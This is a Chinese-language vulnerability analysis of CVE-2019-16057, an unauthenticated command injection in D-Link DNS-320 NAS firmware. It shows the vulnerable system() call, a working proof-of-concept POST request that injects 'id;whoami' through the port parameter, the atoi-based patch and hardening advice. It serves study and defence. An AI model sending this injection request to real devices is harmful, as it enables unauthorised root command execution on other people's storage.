CVE-2019-16057 Dlink DNS320 NAS网盘 无需认证 命令注入漏洞分析
字数 1347 2025-08-26 22:11:51

D-Link DNS320 NAS 网盘 CVE-2019-16057 命令注入漏洞分析教学文档

漏洞概述

CVE-2019-16057 是影响 D-Link DNS320 NAS 网络存储设备的一个高危漏洞,该漏洞具有以下特点:

  • 影响范围:DNS-320 设备,固件版本 2.05.B10 及以下
  • 漏洞类型:未认证远程命令注入
  • 危害等级:高危(可导致最高权限任意命令执行)
  • 利用条件:无需认证即可触发
  • 设备价格:市场价格约300-400元人民币(双盘位NAS)

环境准备

固件获取

  1. 下载受影响固件:

    wget ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DNS-320/DNS-320_REVA_FIRMWARE_PATCH_2.05.B10.ZIP
    unzip DNS-320_REVA_FIRMWARE_PATCH_2.05.B10.ZIP
    
  2. 下载修复后固件(用于对比分析):

    wget ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DNS-320/REVA/DNS-320_REVA_FIRMWARE_v2.06B01.zip
    unzip DNS-320_REVA_FIRMWARE_v2.06B01.zip
    

固件解压

使用 binwalk 工具解压固件:

binwalk -e ./DLINK_DNS320.2.05b10(2.13.0226.2016)
binwalk -e DLINK_DNS320.2.06b01$2.13.0322.2019$

漏洞分析

漏洞定位

  1. 关键文件:/cgi/login_mgr.cgi
  2. 漏洞函数:process_login 中的 vuln_func 调用

代码分析流程

  1. 登录处理函数 (process_login):

    • 使用 cgiFormString 获取 POST 参数
    • 包括用户名、密码和 port 参数
  2. 认证流程

    • 将 POST 的用户名密码与 /etc/shadow 存储的凭证比对
    • 认证失败后进入漏洞触发分支
  3. 漏洞触发点

    else {
        vuln_func(port_value);
    }
    
  4. 漏洞函数 (vuln_func):

    void vuln_func(char *port) {
        char s[128];
        snprintf(s, 0x80, "logger -t GUI \"Port changed to %s\"", port);
        system(s);
    }
    
    • 直接将 port 参数拼接到系统命令中
    • 无任何过滤或转义处理

漏洞利用原理

攻击者可以通过构造特殊的 port 参数值,利用命令分隔符(如;&&|等)注入任意命令:

port=12345;malicious_command

最终执行的命令:

logger -t GUI "Port changed to 12345";malicious_command

漏洞验证

POC构造

一个成功的漏洞利用请求示例:

POST /cgi/login_mgr.cgi HTTP/1.1
Host: target_ip
Content-Type: application/x-www-form-urlencoded

cmd=login&port=12345;id;whoami&name=test&pwd=test

预期结果

服务器将执行:

  1. 正常的日志记录命令
  2. 注入的 idwhoami 命令
  3. 返回命令执行结果

补丁分析

修复版本 2.06B01 的修改:

  1. 修复方式:将 port 参数强制转换为整数

    int port_num = atoi(port);
    snprintf(s, 0x80, "logger -t GUI \"Port changed to %d\"", port_num);
    
  2. 效果

    • 消除了字符串拼接带来的命令注入风险
    • 非数字输入会被转换为0或截断

漏洞挖掘建议

分析过程中发现的其他潜在问题点:

  1. 认证逻辑中的其他参数处理
  2. CGI 程序中其他命令拼接点
  3. 固件中其他服务的输入验证

参考链接

  1. Flaw Gives Hackers Remote Access to Files Stored on D-Link DNS-320 Devices
  2. D-Link DNS-320 ShareCenter <= 2.05.B10 - Unauthenticated Remote code execution
  3. DNS-320 :: H/W Rev. Ax :: F/W 2.05b10 and Lower (older) :: CVE-2019-16057 :: Remote Command Execution / RCE

防护建议

  1. 立即升级到固件版本 2.06B01 或更高
  2. 如无法升级,建议:
    • 限制NAS设备的网络访问
    • 启用防火墙规则限制CGI访问
    • 监控系统日志中的异常命令执行

总结

CVE-2019-16057 是一个典型的未认证命令注入漏洞,其根本原因是开发人员未对用户输入进行充分验证和过滤。该案例展示了:

  1. 即使认证失败路径也可能存在安全隐患
  2. 系统命令拼接必须严格验证输入
  3. 固件分析中应重点关注CGI程序的参数处理
D-Link DNS320 NAS 网盘 CVE-2019-16057 命令注入漏洞分析教学文档 漏洞概述 CVE-2019-16057 是影响 D-Link DNS320 NAS 网络存储设备的一个高危漏洞,该漏洞具有以下特点: 影响范围 :DNS-320 设备,固件版本 2.05.B10 及以下 漏洞类型 :未认证远程命令注入 危害等级 :高危(可导致最高权限任意命令执行) 利用条件 :无需认证即可触发 设备价格 :市场价格约300-400元人民币(双盘位NAS) 环境准备 固件获取 下载受影响固件: 下载修复后固件(用于对比分析): 固件解压 使用 binwalk 工具解压固件: 漏洞分析 漏洞定位 关键文件: /cgi/login_mgr.cgi 漏洞函数: process_login 中的 vuln_func 调用 代码分析流程 登录处理函数 ( process_login ): 使用 cgiFormString 获取 POST 参数 包括用户名、密码和 port 参数 认证流程 : 将 POST 的用户名密码与 /etc/shadow 存储的凭证比对 认证失败后进入漏洞触发分支 漏洞触发点 : 漏洞函数 ( vuln_func ): 直接将 port 参数拼接到系统命令中 无任何过滤或转义处理 漏洞利用原理 攻击者可以通过构造特殊的 port 参数值,利用命令分隔符(如 ; 、 && 、 | 等)注入任意命令: 最终执行的命令: 漏洞验证 POC构造 一个成功的漏洞利用请求示例: 预期结果 服务器将执行: 正常的日志记录命令 注入的 id 和 whoami 命令 返回命令执行结果 补丁分析 修复版本 2.06B01 的修改: 修复方式 :将 port 参数强制转换为整数 效果 : 消除了字符串拼接带来的命令注入风险 非数字输入会被转换为0或截断 漏洞挖掘建议 分析过程中发现的其他潜在问题点: 认证逻辑中的其他参数处理 CGI 程序中其他命令拼接点 固件中其他服务的输入验证 参考链接 Flaw Gives Hackers Remote Access to Files Stored on D-Link DNS-320 Devices D-Link DNS-320 ShareCenter <= 2.05.B10 - Unauthenticated Remote code execution DNS-320 :: H/W Rev. Ax :: F/W 2.05b10 and Lower (older) :: CVE-2019-16057 :: Remote Command Execution / RCE 防护建议 立即升级到固件版本 2.06B01 或更高 如无法升级,建议: 限制NAS设备的网络访问 启用防火墙规则限制CGI访问 监控系统日志中的异常命令执行 总结 CVE-2019-16057 是一个典型的未认证命令注入漏洞,其根本原因是开发人员未对用户输入进行充分验证和过滤。该案例展示了: 即使认证失败路径也可能存在安全隐患 系统命令拼接必须严格验证输入 固件分析中应重点关注CGI程序的参数处理